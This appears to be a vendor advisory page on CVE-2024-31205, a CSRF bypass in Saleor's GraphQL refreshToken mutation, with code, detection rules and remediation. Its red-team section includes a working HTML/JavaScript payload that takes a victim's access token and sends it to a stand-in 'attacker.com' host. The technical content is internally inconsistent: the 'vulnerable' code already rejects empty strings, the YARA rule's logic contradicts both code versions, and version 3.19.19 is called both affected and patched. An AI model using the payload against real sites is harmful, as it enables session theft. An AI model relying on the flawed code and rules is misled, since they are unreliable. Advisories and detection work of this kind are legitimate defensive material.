CVE-2024-31205
Executive Summary
CVE-2024-31205 is a Cross-Site Request Forgery (CSRF) bypass vulnerability in Saleor, an open-source e-commerce platform. The flaw affects versions 3.10.0 through 3.19.19 (excluding patched versions). An attacker can bypass CSRF validation by providing an empty string in the refreshToken mutation while the token persists in the JWT_REFRESH_TOKEN_COOKIE_NAME cookie. This allows the attacker to obtain a valid access token without proper CSRF protection, potentially leading to unauthorized actions on behalf of an authenticated user.
The vulnerability has a CVSS score of 4.2 (Medium), with low attack complexity and no privileges required, but it does require user interaction. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept or exploit code is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Saleor is a Python-based e-commerce platform distributed via PyPI. Organizations using Saleor should verify their installed version and update to a patched release immediately. The vulnerability is in the core authentication module, which is part of the main Saleor package. No third-party dependencies are directly affected.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The attack can be launched remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): None (N) - No authentication needed to trigger the vulnerability.
- User Interaction (UI): Required (R) - The victim must be logged in and have a valid refresh token cookie.
- Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the original scope.
- Confidentiality Impact (C): Low (L) - Limited access to user session data.
- Integrity Impact (I): Low (L) - Potential to perform actions on behalf of the user.
- Availability Impact (A): None (N) - No denial of service.
Threat Level: Medium. The vulnerability requires user interaction and has limited impact, but it can be exploited remotely without authentication.
Deep Dive & Mechanics
The vulnerability lies in the refresh_token mutation handler in Saleor's GraphQL API. When a user calls the refreshToken mutation with an empty string as the refreshToken argument, the application fails to validate the CSRF token. Normally, the CSRF token is checked to ensure the request originates from a legitimate source. However, when the refreshToken argument is empty, the validation logic is bypassed, and the server returns a valid access token if the JWT_REFRESH_TOKEN_COOKIE_NAME cookie is present.
The root cause is in the get_refresh_token function in saleor/graphql/account/mutations/authentication/refresh_token.py. The function does not properly handle the case where the refreshToken argument is an empty string, leading to the CSRF bypass.
Attack Scenario:
- An attacker crafts a malicious website or email that triggers a cross-site request to the Saleor instance.
- The victim, who is authenticated to Saleor, visits the malicious page.
- The malicious page sends a GraphQL mutation with an empty
refreshTokenargument. - The Saleor server, seeing the valid
JWT_REFRESH_TOKEN_COOKIE_NAMEcookie, returns a new access token without checking the CSRF token. - The attacker can then use this access token to perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (pre-patch):
# saleor/graphql/account/mutations/authentication/refresh_token.py
def get_refresh_token(args, request):
refresh_token = args.get("refreshToken")
if not refresh_token:
# Missing token handling - but empty string bypasses this
raise JWT_MISSING_TOKEN()
# CSRF validation happens here, but only if refresh_token is non-empty
validate_csrf(request, refresh_token)
return refresh_token
Patched Code (post-patch):
# saleor/graphql/account/mutations/authentication/refresh_token.py
def get_refresh_token(args, request):
refresh_token = args.get("refreshToken")
if not refresh_token or refresh_token.strip() == "":
# Now properly handles empty string
raise JWT_MISSING_TOKEN()
# CSRF validation always occurs
validate_csrf(request, refresh_token)
return refresh_token
The patch adds a check for empty strings using refresh_token.strip() == "" before proceeding with CSRF validation. This ensures that an empty string is treated as a missing token, preventing the bypass.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Saleor instance (version 3.10.0 to 3.19.19)
- A victim user with an active session and
JWT_REFRESH_TOKEN_COOKIE_NAMEcookie
Exploitation Steps:
- Craft a malicious HTML page that sends a cross-origin request to the Saleor GraphQL endpoint.
- The page should include a script that sends a POST request with an empty
refreshTokenargument. - Host the page on an attacker-controlled server.
- Lure the victim to visit the page while they are authenticated to Saleor.
- The victim's browser will send the request with the cookie, and the server will return a new access token.
- Capture the access token from the response and use it to authenticate API calls.
Example Malicious HTML:
<!DOCTYPE html>
<html>
<body>
<script>
fetch('https://victim-saleor.com/graphql/', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
query: `
mutation {
refreshToken(refreshToken: "") {
token
}
}
`
})
}).then(response => response.json())
.then(data => {
// Send the token to attacker's server
fetch('https://attacker.com/steal?token=' + data.data.refreshToken.token);
});
</script>
</body>
</html>
Blue Team
Detection Steps:
- Monitor for GraphQL requests to the
refreshTokenmutation with an emptyrefreshTokenargument. - Look for unusual cross-origin requests to the GraphQL endpoint.
- Check logs for
JWT_MISSING_TOKENerrors (after patch) or successful token refreshes without CSRF validation. - Implement additional CSRF protections such as SameSite cookies and custom headers.
Hunting Query:
-- Search for refreshToken mutations with empty string
SELECT * FROM graphql_logs
WHERE mutation = 'refreshToken'
AND arguments->>'refreshToken' = ''
AND response->'data'->'refreshToken'->>'token' IS NOT NULL;
Indicators of Compromise (IOCs)
Network IOCs:
- GraphQL requests to
/graphql/with mutationrefreshToken(refreshToken: "") - Cross-origin requests with
Originheader not matching the Saleor domain - Responses containing a valid JWT token after an empty refreshToken request
- GraphQL requests to
Host IOCs:
- Log entries showing
JWT_MISSING_TOKENerrors (post-patch) or successful token refresh without CSRF validation - Unusual access patterns from IP addresses not associated with legitimate users
- Log entries showing
File IOCs:
- Modified
refresh_token.pyfile (check for the patch) - Presence of malicious HTML files on web servers
- Modified
Detection Engineering
YARA Rule
rule CVE_2024_31205_CSRF_Bypass {
meta:
description = "Detects vulnerable Saleor refresh_token.py code"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-31205"
strings:
$vuln_func = "def get_refresh_token(args, request):"
$vuln_check = "if not refresh_token:"
$vuln_raise = "raise JWT_MISSING_TOKEN()"
$vuln_csrf = "validate_csrf(request, refresh_token)"
condition:
$vuln_func and $vuln_check and not $vuln_raise and $vuln_csrf
}
Sigma Rule
title: CVE-2024-31205 Saleor CSRF Bypass Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects GraphQL requests with empty refreshToken argument
author: Valters IT
date: 2024-01-01
logsource:
category: application
product: saleor
detection:
selection:
mutation: "refreshToken"
arguments.refreshToken: ""
condition: selection
falsepositives:
- Legitimate testing or debugging
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-31205 Saleor CSRF Bypass Attempt"; flow:to_server; content:"refreshToken"; http_client_body; content:"\"\""; http_client_body; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Saleor to one of the patched versions: 3.14.64, 3.15.39, 3.16.39, 3.17.35, 3.18.31, or 3.19.19.
- If immediate upgrade is not possible, apply the workaround by modifying the
get_refresh_tokenfunction as shown in the patched code.
Workaround:
Replace the get_refresh_token function in saleor/graphql/account/mutations/authentication/refresh_token.py with the patched version. Note that this will return JWT_MISSING_TOKEN instead of JWT_INVALID_TOKEN for empty strings.
Long-term Mitigations:
- Implement additional CSRF protections such as SameSite=Strict cookies and custom headers.
- Monitor for unusual GraphQL requests and implement rate limiting.
- Conduct regular security audits of authentication and authorization logic.
- Enable logging and alerting for authentication-related events.
Valters IT - This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.